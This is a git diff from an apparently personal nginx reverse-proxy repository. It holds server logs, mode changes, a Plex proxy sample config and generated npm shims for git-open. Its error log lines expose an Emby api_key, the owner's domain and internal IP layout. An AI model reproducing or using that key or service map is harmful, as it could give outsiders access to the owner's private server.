"Uptime-Kuma/1.23.13" +72.179.167.199 - - [01/Jun/2024:13:42:00 -0500] "GET /g/home HTTP/1.1" 200 4562 "-" "Uptime-Kuma/1.23.13" +192.168.0.105 - - [01/Jun/2024:13:42:07 -0500] "GET / HTTP/1.1" 302 5 "-" "Uptime-Kuma/1.23.13" +192.168.0.105 - - [01/Jun/2024:13:42:07 -0500] "GET /web/index.html HTTP/1.1" 200 14906 "-" "Uptime-Kuma/1.23.13" +192.168.0.105 - - [01/Jun/2024:13:42:11 -0500] "GET / HTTP/1.1" 302 0 "-" "Uptime-Kuma/1.23.13" +192.168.0.105 - - [01/Jun/2024:13:42:11 -0500] "GET /web/ HTTP/1.1" 200 8893 "-" "Uptime-Kuma/1.23.13" +192.168.0.126 - - [01/Jun/2024:13:42:17 -0500] "GET /api/v1/command HTTP/2.0" 200 1007 "https://books.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:42:17 -0500] "GET /api/v1/command HTTP/2.0" 200 1007 "https://books.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +72.179.167.199 - - [01/Jun/2024:13:42:21 -0500] "GET / HTTP/1.1" 302 0 "-" "Uptime-Kuma/1.23.13" +72.179.167.199 - - [01/Jun/2024:13:42:21 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 7631 "-" "Uptime-Kuma/1.23.13" +72.179.167.199 - - [01/Jun/2024:13:42:29 -0500] "GET / HTTP/1.1" 302 0 "-" "Uptime-Kuma/1.23.13" +72.179.167.199 - - [01/Jun/2024:13:42:29 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 10082 "-" "Uptime-Kuma/1.23.13" diff --git a/log/nginx/access.log.1 b/log/nginx/access.log.1 old mode 100755 new mode 100644 diff --git a/log/nginx/access.log.10.gz b/log/nginx/access.log.10.gz old mode 100755 new mode 100644 diff --git a/log/nginx/access.log.11.gz b/log/nginx/access.log.11.gz old mode 100755 new mode 100644 diff --git a/log/nginx/access.log.12.gz b/log/nginx/access.log.12.gz old mode 100755 new mode 100644 diff --git a/log/nginx/access.log.13.gz b/log/nginx/access.log.13.gz old mode 100755 new mode 100644 diff --git a/log/nginx/access.log.14.gz b/log/nginx/access.log.14.gz old mode 100755 new mode 100644 diff --git a/log/nginx/access.log.2.gz b/log/nginx/access.log.2.gz old mode 100755 new mode 100644 diff --git a/log/nginx/access.log.3.gz b/log/nginx/access.log.3.gz old mode 100755 new mode 100644 diff --git a/log/nginx/access.log.4.gz b/log/nginx/access.log.4.gz old mode 100755 new mode 100644 diff --git a/log/nginx/access.log.5.gz b/log/nginx/access.log.5.gz old mode 100755 new mode 100644 diff --git a/log/nginx/access.log.6.gz b/log/nginx/access.log.6.gz old mode 100755 new mode 100644 diff --git a/log/nginx/access.log.7.gz b/log/nginx/access.log.7.gz old mode 100755 new mode 100644 diff --git a/log/nginx/access.log.8.gz b/log/nginx/access.log.8.gz old mode 100755 new mode 100644 diff --git a/log/nginx/access.log.9.gz b/log/nginx/access.log.9.gz old mode 100755 new mode 100644 diff --git a/log/nginx/error.log b/log/nginx/error.log old mode 100755 new mode 100644 index 578de81..931ab50 --- a/log/nginx/error.log +++ b/log/nginx/error.log @@ -1778,3 +1778,31 @@ 2024/05/31 18:54:04 [crit] 1670#1670: *53455 mkdir() "/var/lib/nginx/tmp/proxy/4/70" failed (28: No space left on device) while reading upstream, client: 108.239.189.200, server: emby.*, request: "GET /emby/videos/215473/original.mp4?DeviceId=1865dfaa-925b-56f0-a02f-78617ca4f729&MediaSourceId=77a51842513676af9147b4eca8f3bfac&PlaySessionId=bc8459f52e65481c9325b056bd8d38ff&api_key=82a50664e0594ef39a2098cb2655a373 HTTP/1.1", upstream: "http://192.168.0.110:8096/emby/videos/215473/original.mp4?DeviceId=1865dfaa-925b-56f0-a02f-78617ca4f729&MediaSourceId=77a51842513676af9147b4eca8f3bfac&PlaySessionId=bc8459f52e65481c9325b056bd8d38ff&api_key=82a50664e0594ef39a2098cb2655a373", host: "emby.faiyts.media" 2024/05/31 18:54:05 [crit] 1670#1670: *53457 mkdir() "/var/lib/nginx/tmp/proxy/5/70" failed (28: No space left on device) while reading upstream, client: 108.239.189.200, server: emby.*, request: "GET /emby/videos/215473/original.mp4?DeviceId=1865dfaa-925b-56f0-a02f-78617ca4f729&MediaSourceId=77a51842513676af9147b4eca8f3bfac&PlaySessionId=bc8459f52e65481c9325b056bd8d38ff&api_key=82a50664e0594ef39a2098cb2655a373 HTTP/1.1", upstream: "http://192.168.0.110:8096/emby/videos/215473/original.mp4?DeviceId=1865dfaa-925b-56f0-a02f-78617ca4f729&MediaSourceId=77a51842513676af9147b4eca8f3bfac&PlaySessionId=bc8459f52e65481c9325b056bd8d38ff&api_key=82a50664e0594ef39a2098cb2655a373", host: "emby.faiyts.media" 2024/05/31 19:05:57 [crit] 1652#1652: *53956 pwritev() "/var/lib/nginx/tmp/proxy/7/70/0000000707" failed (28: No space left on device) while reading upstream, client: 108.239.189.200, server: emby.*, request: "GET /emby/videos/215473/original.mp4?DeviceId=1865dfaa-925b-56f0-a02f-78617ca4f729&MediaSourceId=77a51842513676af9147b4eca8f3bfac&PlaySessionId=bc8459f52e65481c9325b056bd8d38ff&api_key=82a50664e0594ef39a2098cb2655a373 HTTP/1.1", upstream: "http://192.168.0.110:8096/emby/videos/215473/original.mp4?DeviceId=1865dfaa-925b-56f0-a02f-78617ca4f729&MediaSourceId=77a51842513676af9147b4eca8f3bfac&PlaySessionId=bc8459f52e65481c9325b056bd8d38ff&api_key=82a50664e0594ef39a2098cb2655a373", host: "emby.faiyts.media" +2024/06/01 13:36:27 [error] 1036#1036: connect() to [2600:1404:6400:5::172f:3021]:80 failed (101: Network unreachable) while requesting certificate status, responder: r3.o.lencr.org, peer: [2600:1404:6400:5::172f:3021]:80, certificate: "/config/keys/cert.crt" +2024/06/01 13:36:27 [error] 1036#1036: connect() to [2600:1404:6400:5::172f:3034]:80 failed (101: Network unreachable) while requesting certificate status, responder: r3.o.lencr.org, peer: [2600:1404:6400:5::172f:3034]:80, certificate: "/config/keys/cert.crt" +2024/06/01 13:36:27 [error] 1036#1036: connect() to [2600:1404:6400:5::172f:3034]:80 failed (101: Network unreachable) while requesting certificate status, responder: r3.o.lencr.org, peer: [2600:1404:6400:5::172f:3034]:80, certificate: "/config/keys/cert.crt" +2024/06/01 13:36:33 [error] 1040#1040: connect() to [2600:1404:6400:5::172f:300f]:80 failed (101: Network unreachable) while requesting certificate status, responder: r3.o.lencr.org, peer: [2600:1404:6400:5::172f:300f]:80, certificate: "/config/keys/cert.crt" +2024/06/01 13:36:33 [error] 1040#1040: connect() to [2600:1404:6400:5::172f:3018]:80 failed (101: Network unreachable) while requesting certificate status, responder: r3.o.lencr.org, peer: [2600:1404:6400:5::172f:3018]:80, certificate: "/config/keys/cert.crt" +2024/06/01 13:36:40 [error] 1044#1044: connect() to [2600:1404:6400:5::172f:3018]:80 failed (101: Network unreachable) while requesting certificate status, responder: r3.o.lencr.org, peer: [2600:1404:6400:5::172f:3018]:80, certificate: "/config/keys/cert.crt" +2024/06/01 13:36:40 [error] 1044#1044: connect() to [2600:1404:6400:5::172f:300f]:80 failed (101: Network unreachable) while requesting certificate status, responder: r3.o.lencr.org, peer: [2600:1404:6400:5::172f:300f]:80, certificate: "/config/keys/cert.crt" +2024/06/01 13:36:41 [error] 1044#1044: connect() to [2600:1404:6400:5::172f:300f]:80 failed (101: Network unreachable) while requesting certificate status, responder: r3.o.lencr.org, peer: [2600:1404:6400:5::172f:300f]:80, certificate: "/config/keys/cert.crt" +2024/06/01 13:36:51 [error] 1051#1051: connect() to [2600:1404:6400:5::172f:3018]:80 failed (101: Network unreachable) while requesting certificate status, responder: r3.o.lencr.org, peer: [2600:1404:6400:5::172f:3018]:80, certificate: "/config/keys/cert.crt" +2024/06/01 13:36:55 [error] 1052#1052: connect() to [2600:1404:6400:5::172f:3018]:80 failed (101: Network unreachable) while requesting certificate status, responder: r3.o.lencr.org, peer: [2600:1404:6400:5::172f:3018]:80, certificate: "/config/keys/cert.crt" +2024/06/01 13:36:57 [error] 1053#1053: connect() to [2600:1404:6400:5::172f:3018]:80 failed (101: Network unreachable) while requesting certificate status, responder: r3.o.lencr.org, peer: [2600:1404:6400:5::172f:3018]:80, certificate: "/config/keys/cert.crt" +2024/06/01 13:37:03 [error] 1055#1055: connect() to [2600:1404:6400:5::172f:3021]:80 failed (101: Network unreachable) while requesting certificate status, responder: r3.o.lencr.org, peer: [2600:1404:6400:5::172f:3021]:80, certificate: "/config/keys/cert.crt" +2024/06/01 13:37:03 [error] 1055#1055: connect() to [2600:1404:6400:5::172f:3018]:80 failed (101: Network unreachable) while requesting certificate status, responder: r3.o.lencr.org, peer: [2600:1404:6400:5::172f:3018]:80, certificate: "/config/keys/cert.crt" +2024/06/01 13:37:05 [error] 1055#1055: connect() to [2600:1404:6400:5::172f:3018]:80 failed (101: Network unreachable) while requesting certificate status, responder: r3.o.lencr.org, peer: [2600:1404:6400:5::172f:3018]:80, certificate: "/config/keys/cert.crt" +2024/06/01 13:37:09 [error] 1057#1057: connect() to [2600:1404:6400:5::172f:3018]:80 failed (101: Network unreachable) while requesting certificate status, responder: r3.o.lencr.org, peer: [2600:1404:6400:5::172f:3018]:80, certificate: "/config/keys/cert.crt" +2024/06/01 13:37:12 [error] 1058#1058: connect() to [2600:1404:6400:5::172f:3018]:80 failed (101: Network unreachable) while requesting certificate status, responder: r3.o.lencr.org, peer: [2600:1404:6400:5::172f:3018]:80, certificate: "/config/keys/cert.crt" +2024/06/01 13:37:18 [error] 1028#1028: connect() to [2600:1404:6400:5::172f:3018]:80 failed (101: Network unreachable) while requesting certificate status, responder: r3.o.lencr.org, peer: [2600:1404:6400:5::172f:3018]:80, certificate: "/config/keys/cert.crt" +2024/06/01 13:37:21 [error] 1031#1031: connect() to [2600:1404:6400:5::172f:3021]:80 failed (101: Network unreachable) while requesting certificate status, responder: r3.o.lencr.org, peer: [2600:1404:6400:5::172f:3021]:80, certificate: "/config/keys/cert.crt" +2024/06/01 13:37:21 [error] 1031#1031: connect() to [2600:1404:6400:5::172f:3018]:80 failed (101: Network unreachable) while requesting certificate status, responder: r3.o.lencr.org, peer: [2600:1404:6400:5::172f:3018]:80, certificate: "/config/keys/cert.crt" +2024/06/01 13:37:23 [error] 1038#1038: connect() to [2600:1404:6400:5::172f:3021]:80 failed (101: Network unreachable) while requesting certificate status, responder: r3.o.lencr.org, peer: [2600:1404:6400:5::172f:3021]:80, certificate: "/config/keys/cert.crt" +2024/06/01 13:37:27 [error] 1042#1042: connect() to [2600:1404:6400:5::172f:3021]:80 failed (101: Network unreachable) while requesting certificate status, responder: r3.o.lencr.org, peer: [2600:1404:6400:5::172f:3021]:80, certificate: "/config/keys/cert.crt" +2024/06/01 13:38:03 [error] 1056#1056: connect() to [2600:1404:6400:5::172f:3018]:80 failed (101: Network unreachable) while requesting certificate status, responder: r3.o.lencr.org, peer: [2600:1404:6400:5::172f:3018]:80, certificate: "/config/keys/cert.crt" +2024/06/01 13:38:51 [error] 1028#1028: connect() to [2600:1404:6400:5::172f:3018]:80 failed (101: Network unreachable) while requesting certificate status, responder: r3.o.lencr.org, peer: [2600:1404:6400:5::172f:3018]:80, certificate: "/config/keys/cert.crt" +2024/06/01 13:38:51 [error] 1028#1028: connect() to [2600:1404:6400:5::172f:3018]:80 failed (101: Network unreachable) while requesting certificate status, responder: r3.o.lencr.org, peer: [2600:1404:6400:5::172f:3018]:80, certificate: "/config/keys/cert.crt" +2024/06/01 13:38:51 [error] 1028#1028: connect() to [2600:1404:6400:5::172f:3021]:80 failed (101: Network unreachable) while requesting certificate status, responder: r3.o.lencr.org, peer: [2600:1404:6400:5::172f:3021]:80, certificate: "/config/keys/cert.crt" +2024/06/01 13:38:52 [error] 1028#1028: connect() to [2600:1404:6400:5::172f:3018]:80 failed (101: Network unreachable) while requesting certificate status, responder: r3.o.lencr.org, peer: [2600:1404:6400:5::172f:3018]:80, certificate: "/config/keys/cert.crt" +2024/06/01 13:40:27 [error] 1054#1054: *1511 connect() failed (113: Host is unreachable) while connecting to upstream, client: 192.168.0.126, server: usenet.*, request: "GET / HTTP/2.0", upstream: "http://192.168.0.120:8181/", host: "usenet.faiyts.media" +2024/06/01 13:40:30 [error] 1054#1054: *1511 connect() failed (113: Host is unreachable) while connecting to upstream, client: 192.168.0.126, server: usenet.*, request: "GET /favicon.ico HTTP/2.0", upstream: "http://192.168.0.120:8181/favicon.ico", host: "usenet.faiyts.media", referrer: "https://usenet.faiyts.media/" diff --git a/log/nginx/error.log.1 b/log/nginx/error.log.1 old mode 100755 new mode 100644 diff --git a/log/nginx/error.log.10.gz b/log/nginx/error.log.10.gz old mode 100755 new mode 100644 diff --git a/log/nginx/error.log.11.gz b/log/nginx/error.log.11.gz old mode 100755 new mode 100644 diff --git a/log/nginx/error.log.12.gz b/log/nginx/error.log.12.gz old mode 100755 new mode 100644 diff --git a/log/nginx/error.log.13.gz b/log/nginx/error.log.13.gz old mode 100755 new mode 100644 diff --git a/log/nginx/error.log.14.gz b/log/nginx/error.log.14.gz old mode 100755 new mode 100644 diff --git a/log/nginx/error.log.2.gz b/log/nginx/error.log.2.gz old mode 100755 new mode 100644 diff --git a/log/nginx/error.log.3.gz b/log/nginx/error.log.3.gz old mode 100755 new mode 100644 diff --git a/log/nginx/error.log.4.gz b/log/nginx/error.log.4.gz old mode 100755 new mode 100644 diff --git a/log/nginx/error.log.5.gz b/log/nginx/error.log.5.gz old mode 100755 new mode 100644 diff --git a/log/nginx/error.log.6.gz b/log/nginx/error.log.6.gz old mode 100755 new mode 100644 diff --git a/log/nginx/error.log.7.gz b/log/nginx/error.log.7.gz old mode 100755 new mode 100644 diff --git a/log/nginx/error.log.8.gz b/log/nginx/error.log.8.gz old mode 100755 new mode 100644 diff --git a/log/nginx/error.log.9.gz b/log/nginx/error.log.9.gz old mode 100755 new mode 100644 diff --git a/log/php/error.log b/log/php/error.log old mode 100755 new mode 100644 index fb3b615..27b5ccc Binary files a/log/php/error.log and b/log/php/error.log differ diff --git a/log/php/error.log.1 b/log/php/error.log.1 old mode 100755 new mode 100644 diff --git a/log/php/error.log.2.gz b/log/php/error.log.2.gz old mode 100755 new mode 100644 diff --git a/log/php/error.log.3.gz b/log/php/error.log.3.gz old mode 100755 new mode 100644 diff --git a/log/php/error.log.4.gz b/log/php/error.log.4.gz old mode 100755 new mode 100644 diff --git a/log/php/error.log.5.gz b/log/php/error.log.5.gz old mode 100755 new mode 100644 diff --git a/log/php/error.log.6.gz b/log/php/error.log.6.gz old mode 100755 new mode 100644 diff --git a/log/php/error.log.7.gz b/log/php/error.log.7.gz old mode 100755 new mode 100644 diff --git a/nginx/.DS_Store b/nginx/.DS_Store old mode 100755 new mode 100644 diff --git a/nginx/._.DS_Store b/nginx/._.DS_Store old mode 100755 new mode 100644 diff --git a/nginx/.htpasswd b/nginx/.htpasswd old mode 100755 new mode 100644 diff --git a/nginx/authelia-location.conf b/nginx/authelia-location.conf old mode 100755 new mode 100644 diff --git a/nginx/authelia-server.conf b/nginx/authelia-server.conf old mode 100755 new mode 100644 diff --git a/nginx/authentik-location.conf b/nginx/authentik-location.conf old mode 100755 new mode 100644 diff --git a/nginx/authentik-server.conf b/nginx/authentik-server.conf old mode 100755 new mode 100644 diff --git a/nginx/dhparams.pem b/nginx/dhparams.pem old mode 100755 new mode 100644 diff --git a/nginx/ldap-location.conf b/nginx/ldap-location.conf old mode 100755 new mode 100644 diff --git a/nginx/ldap-server.conf b/nginx/ldap-server.conf old mode 100755 new mode 100644 diff --git a/nginx/nginx.conf b/nginx/nginx.conf old mode 100755 new mode 100644 diff --git a/nginx/proxy-confs/audiobookshelf.subdomain.conf b/nginx/proxy-confs/audiobookshelf.subdomain.conf old mode 100755 new mode 100644 diff --git a/nginx/proxy-confs/bazarr.subdomain.conf.disabled b/nginx/proxy-confs/bazarr.subdomain.conf.disabled old mode 100755 new mode 100644 diff --git a/nginx/proxy-confs/bitwarden.subdomain.conf.disabled b/nginx/proxy-confs/bitwarden.subdomain.conf.disabled old mode 100755 new mode 100644 diff --git a/nginx/proxy-confs/bookstack.subdomain.conf.disabled b/nginx/proxy-confs/bookstack.subdomain.conf.disabled old mode 100755 new mode 100644 diff --git a/nginx/proxy-confs/couchdb.subdomain.conf b/nginx/proxy-confs/couchdb.subdomain.conf old mode 100755 new mode 100644 diff --git a/nginx/proxy-confs/dozzle.subdomain.conf.disabled b/nginx/proxy-confs/dozzle.subdomain.conf.disabled old mode 100755 new mode 100644 diff --git a/nginx/proxy-confs/emby.subdomain.conf b/nginx/proxy-confs/emby.subdomain.conf old mode 100755 new mode 100644 diff --git a/nginx/proxy-confs/ersatstv.subdomain.conf.disabled b/nginx/proxy-confs/ersatstv.subdomain.conf.disabled old mode 100755 new mode 100644 diff --git a/nginx/proxy-confs/homarr.subdomain.conf.disabled b/nginx/proxy-confs/homarr.subdomain.conf.disabled old mode 100755 new mode 100644 diff --git a/nginx/proxy-confs/homeassistant.subdomain.conf.disabled b/nginx/proxy-confs/homeassistant.subdomain.conf.disabled old mode 100755 new mode 100644 diff --git a/nginx/proxy-confs/jellyfin.subdomain.conf b/nginx/proxy-confs/jellyfin.subdomain.conf old mode 100755 new mode 100644 diff --git a/nginx/proxy-confs/jellyseerr.subdomain.conf b/nginx/proxy-confs/jellyseerr.subdomain.conf old mode 100755 new mode 100644 diff --git a/nginx/proxy-confs/joplin.subdomain.conf b/nginx/proxy-confs/joplin.subdomain.conf old mode 100755 new mode 100644 diff --git a/nginx/proxy-confs/lidarr.subdomain.conf b/nginx/proxy-confs/lidarr.subdomain.conf old mode 100755 new mode 100644 diff --git a/nginx/proxy-confs/mealie.subdomain.conf b/nginx/proxy-confs/mealie.subdomain.conf old mode 100755 new mode 100644 diff --git a/nginx/proxy-confs/minecraft.subdomain.conf.disabled b/nginx/proxy-confs/minecraft.subdomain.conf.disabled old mode 100755 new mode 100644 diff --git a/nginx/proxy-confs/nextcloud.subdomain.conf.disabled b/nginx/proxy-confs/nextcloud.subdomain.conf.disabled old mode 100755 new mode 100644 diff --git a/nginx/proxy-confs/organizr.subdomain.conf.disabled b/nginx/proxy-confs/organizr.subdomain.conf.disabled old mode 100755 new mode 100644 diff --git a/nginx/proxy-confs/overseerr.subdomain.conf.disabled b/nginx/proxy-confs/overseerr.subdomain.conf.disabled old mode 100755 new mode 100644 diff --git a/nginx/proxy-confs/palworld.subdomain.conf.disabled b/nginx/proxy-confs/palworld.subdomain.conf.disabled old mode 100755 new mode 100644 diff --git a/nginx/proxy-confs/penpot.subdomain.conf b/nginx/proxy-confs/penpot.subdomain.conf old mode 100755 new mode 100644 diff --git a/nginx/proxy-confs/pihole.subdomain.conf.disabled b/nginx/proxy-confs/pihole.subdomain.conf.disabled old mode 100755 new mode 100644 diff --git a/nginx/proxy-confs/plex.subdomain.conf.sample b/nginx/proxy-confs/plex.subdomain.conf.sample new file mode 100644 index 0000000..38d66d2 --- /dev/null +++ b/nginx/proxy-confs/plex.subdomain.conf.sample @@ -0,0 +1,64 @@ +## Version 2023/05/31 +# make sure that your plex container is named plex +# make sure that your dns has a cname set for plex +# if plex is running in bridge mode and the container is named "plex", the below config should work as is +# if not, replace the line "set $upstream_app plex;" with "set $upstream_app ;" +# or "set $upstream_app ;" for host mode, HOSTIP being the IP address of plex +# in plex server settings, under network, fill in "Custom server access URLs" with your domain (ie. "https://plex.yourdomain.url:443") + +server { + listen 443 ssl http2; + listen [::]:443 ssl http2; + + server_name plex.*; + + include /config/nginx/ssl.conf; + + client_max_body_size 0; + proxy_redirect off; + proxy_buffering off; + + # enable for ldap auth (requires ldap-location.conf in the location block) + #include /config/nginx/ldap-server.conf; + + # enable for Authelia (requires authelia-location.conf in the location block) + #include /config/nginx/authelia-server.conf; + + # enable for Authentik (requires authentik-location.conf in the location block) + #include /config/nginx/authentik-server.conf; + + location / { + # enable the next two lines for http auth + #auth_basic "Restricted"; + #auth_basic_user_file /config/nginx/.htpasswd; + + # enable for ldap auth (requires ldap-server.conf in the server block) + #include /config/nginx/ldap-location.conf; + + # enable for Authelia (requires authelia-server.conf in the server block) + #include /config/nginx/authelia-location.conf; + + # enable for Authentik (requires authentik-server.conf in the server block) + #include /config/nginx/authentik-location.conf; + + include /config/nginx/proxy.conf; + include /config/nginx/resolver.conf; + set $upstream_app plex; + set $upstream_port 32400; + set $upstream_proto http; + proxy_pass $upstream_proto://$upstream_app:$upstream_port; + + proxy_set_header X-Plex-Client-Identifier $http_x_plex_client_identifier; + proxy_set_header X-Plex-Device $http_x_plex_device; + proxy_set_header X-Plex-Device-Name $http_x_plex_device_name; + proxy_set_header X-Plex-Platform $http_x_plex_platform; + proxy_set_header X-Plex-Platform-Version $http_x_plex_platform_version; + proxy_set_header X-Plex-Product $http_x_plex_product; + proxy_set_header X-Plex-Token $http_x_plex_token; + proxy_set_header X-Plex-Version $http_x_plex_version; + proxy_set_header X-Plex-Nocache $http_x_plex_nocache; + proxy_set_header X-Plex-Provides $http_x_plex_provides; + proxy_set_header X-Plex-Device-Vendor $http_x_plex_device_vendor; + proxy_set_header X-Plex-Model $http_x_plex_model; + } +} diff --git a/nginx/proxy-confs/portainer.subdomain.conf b/nginx/proxy-confs/portainer.subdomain.conf old mode 100755 new mode 100644 diff --git a/nginx/proxy-confs/portainer.subdomain.conf copy.sample b/nginx/proxy-confs/portainer.subdomain.conf copy.sample old mode 100755 new mode 100644 diff --git a/nginx/proxy-confs/prowlarr.subdomain.conf b/nginx/proxy-confs/prowlarr.subdomain.conf old mode 100755 new mode 100644 diff --git a/nginx/proxy-confs/qbittorrent.subdomain.conf b/nginx/proxy-confs/qbittorrent.subdomain.conf old mode 100755 new mode 100644 diff --git a/nginx/proxy-confs/radarr.subdomain.conf b/nginx/proxy-confs/radarr.subdomain.conf old mode 100755 new mode 100644 diff --git a/nginx/proxy-confs/readarr.subdomain.conf b/nginx/proxy-confs/readarr.subdomain.conf old mode 100755 new mode 100644 diff --git a/nginx/proxy-confs/sabnzbd.subdomain.conf b/nginx/proxy-confs/sabnzbd.subdomain.conf old mode 100755 new mode 100644 diff --git a/nginx/proxy-confs/sonarr-anime.subdomain.conf b/nginx/proxy-confs/sonarr-anime.subdomain.conf old mode 100755 new mode 100644 diff --git a/nginx/proxy-confs/sonarr.subdomain.conf b/nginx/proxy-confs/sonarr.subdomain.conf old mode 100755 new mode 100644 diff --git a/nginx/proxy-confs/syncthing.subdomain.conf.disable b/nginx/proxy-confs/syncthing.subdomain.conf.disable old mode 100755 new mode 100644 diff --git a/nginx/proxy-confs/tdarr.subdomain.conf.disable b/nginx/proxy-confs/tdarr.subdomain.conf.disable old mode 100755 new mode 100644 diff --git a/nginx/proxy-confs/terraria.subdomain.conf.disable b/nginx/proxy-confs/terraria.subdomain.conf.disable old mode 100755 new mode 100644 diff --git a/nginx/proxy-confs/wireguard.subdomain.conf.disable b/nginx/proxy-confs/wireguard.subdomain.conf.disable old mode 100755 new mode 100644 diff --git a/nginx/proxy.conf b/nginx/proxy.conf old mode 100755 new mode 100644 diff --git a/nginx/resolver.conf b/nginx/resolver.conf old mode 100755 new mode 100644 diff --git a/nginx/site-confs/default.conf b/nginx/site-confs/default.conf old mode 100755 new mode 100644 diff --git a/nginx/site-confs/go.conf b/nginx/site-confs/go.conf old mode 100755 new mode 100644 diff --git a/nginx/ssl.conf b/nginx/ssl.conf old mode 100755 new mode 100644 diff --git a/nginx/worker_processes.conf b/nginx/worker_processes.conf old mode 100755 new mode 100644 diff --git a/node_modules/.bin/git-home b/node_modules/.bin/git-home new file mode 100644 index 0000000..55ca814 --- /dev/null +++ b/node_modules/.bin/git-home @@ -0,0 +1,16 @@ +#!/bin/sh +basedir=$(dirname "$(echo "$0" | sed -e 's,\\,/,g')") + +case `uname` in + *CYGWIN*|*MINGW*|*MSYS*) + if command -v cygpath > /dev/null 2>&1; then + basedir=`cygpath -w "$basedir"` + fi + ;; +esac + +if [ -x "$basedir/bash" ]; then + exec "$basedir/bash" "$basedir/../git-open/git-open" "$@" +else + exec bash "$basedir/../git-open/git-open" "$@" +fi diff --git a/node_modules/.bin/git-home.cmd b/node_modules/.bin/git-home.cmd new file mode 100644 index 0000000..776b29c --- /dev/null +++ b/node_modules/.bin/git-home.cmd @@ -0,0 +1,17 @@ +@ECHO off +GOTO start +:find_dp0 +SET dp0=%~dp0 +EXIT /b +:start +SETLOCAL +CALL :find_dp0 + +IF EXIST "%dp0%\bash.exe" ( + SET "_prog=%dp0%\bash.exe" +) ELSE ( + SET "_prog=bash" + SET PATHEXT=%PATHEXT:;.JS;=;% +) + +endLocal & goto #_undefined_# 2>NUL || title %COMSPEC% & "%_prog%" "%dp0%\..\git-open\git-open" %* diff --git a/node_modules/.bin/git-home.ps1 b/node_modules/.bin/git-home.ps1 new file mode 100644 index 0000000..7d0cbe4 --- /dev/null +++ b/node_modules/.bin/git-home.ps1 @@ -0,0 +1,28 @@ +#!/usr/bin/env pwsh +$basedir=Split-Path $MyInvocation.MyCommand.Definition -Parent + +$exe="" +if ($PSVersionTable.PSVersion -lt "6.0" -or $IsWindows) { + # Fix case when both the Windows and Linux builds of Node + # are installed in the same directory + $exe=".exe" +} +$ret=0 +if (Test-Path "$basedir/bash$exe") { + # Support pipeline input + if ($MyInvocation.ExpectingInput) { + $input | & "$basedir/bash$exe" "$basedir/../git-open/git-open" $args + } else { + & "$basedir/bash$exe" "$basedir/../git-open/git-open" $args + } + $ret=$LASTEXITCODE +} else { + # Support pipeline input + if ($MyInvocation.ExpectingInput) { + $input | & "bash$exe" "$basedir/../git-open/git-open" $args + } else { + & "bash$exe" "$basedir/../git-open/git-open" $args + } + $ret=$LASTEXITCODE +} +exit $ret diff --git a/node_modules/.bin/git-open b/node_modules/.bin/git-open new file mode 100644 index 0000000..55ca814 --- /dev/null +++ b/node_modules/.bin/git-open @@ -0,0 +1,16 @@ +#!/bin/sh +basedir=$(dirname "$(echo "$0" | sed -e 's,\\,/,g')") + +case `uname` in + *CYGWIN*|*MINGW*|*MSYS*) + if command -v cygpath > /dev/null 2>&1; then + basedir=`cygpath -w "$basedir"` + fi + ;; +esac + +if [ -x "$basedir/bash" ]; then + exec "$basedir/bash" "$basedir/../git-open/git-open" "$@" +else + exec bash "$basedir/../git-open/git-open" "$@" +fi diff --git a/node_modules/.bin/git-open.cmd b/node_modules/.bin/git-open.cmd new file mode 100644 index 0000000..776b29c --- /dev/null +++ b/node_modules/.bin/git-open.cmd @@ -0,0 +1,17 @@ +@ECHO off +GOTO start +:find_dp0 +SET dp0=%~dp0 +EXIT /b +:start +SETLOCAL +CALL :find_dp0 + +IF EXIST "%dp0%\bash.exe" ( + SET "_prog=%dp0%\bash.exe" +) ELSE ( + SET "_prog=bash" + SET PATHEXT=%PATHEXT:;.JS;=;% +) + +endLocal & goto #_undefined_# 2>NUL || title %COMSPEC% & "%_prog%" "%dp0%\..\git-open\git-open" %* diff --git a/node_modules/.bin/git-open.ps1 b/node_modules/.bin/git-open.ps1 new file mode 100644 index 0000000..7d0cbe4 --- /dev/null +++ b/node_modules/.bin/git-open.ps1 @@ -0,0 +1,28 @@ +#!/usr/bin/env pwsh +$basedir=Split-Path $MyInvocation.MyCommand.Definition -Parent + +$exe="" +if ($PSVersionTable.PSVersion -lt "6.0" -or $IsWindows) { + # Fix case when both the Windows and Linux builds of Node + # are installed in the same directory + $exe=".exe" +} +$ret=0 +if (Test-Path "$basedir/bash$exe") { + # Support pipeline input + if ($MyInvocation.ExpectingInput) { + $input | & "$basedir/bash$exe" "$basedir/../git-open/git-open" $args + } else { + & "$basedir/bash$exe" "$basedir/../git-open/git-open" $args + } + $ret=$LASTEXITCODE +} else { + # Support pipeline input + if ($MyInvocation.ExpectingInput) { + $input | & "bash$exe" "$basedir/../git-open/git-open" $args + } else { + & "bash$exe" "$basedir/../git-open/git-open" $args + } + $ret=$LASTEXITCODE +} +exit $ret diff --git a/node_modules/.package-lock.json b/node_modules/.package-lock.json new file mode 100644 index 0000000..ed42c89 --- /dev/null +++ b/node_modules/.package-lock.json @@ -0,0 +1,20 @@ +{ + "name": "swag", + "lockfileVersion": 3, + "requires": true, + "packages": { + "node_modules/git-open": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/git-open/-/git-open-3.0.0.tgz", + "integrity": "sha512-/1Ufaslh5oJlPJaxCPrtifmd83U9kzXVBzQem1v1/anGlQvBk7PhJJ1i48eE419CJ4ebXOhOaGv62pMgz/RkuQ==", + "bin": { + "git-home": "git-open", + "git-open": "git-open" + }, + "engines": { + "node": ">=0.10.3", + "npm": ">=2.0.0" + } + } + } +} diff --git a/node_modules/git-open/.editorconfig b/node_modules/git-open/.editorconfig new file mode 100644 index 0000000..59290ba --- /dev/null +++ b/node_modules/git-open/.editorconfig @@ -0,0 +1,11 @@ +root = true + +[*] +indent_style = space +indent_size = 2 +end_of_line = lf +insert_final_newline = true +trim_trailing_whitespace = true + +[*.md] +trim_trailing_whitespace = false diff --git a/node_modules/git-open/.github/workflows/ci.yml b/node_modules/git-open/.github/workflows/ci.yml new file mode 100644 index 0000000..6de38c7 --- /dev/null +++ b/node_modules/git-open/.github/workflows/ci.yml @@ -0,0 +1,33 @@ +name: CI + +on: + push: + branches: [master] + pull_request: # run on all PRs, not just PRs to a particular branch + +jobs: + basics: + runs-on: ubuntu-latest + + steps: + - name: git clone + uses: actions/checkout@v3 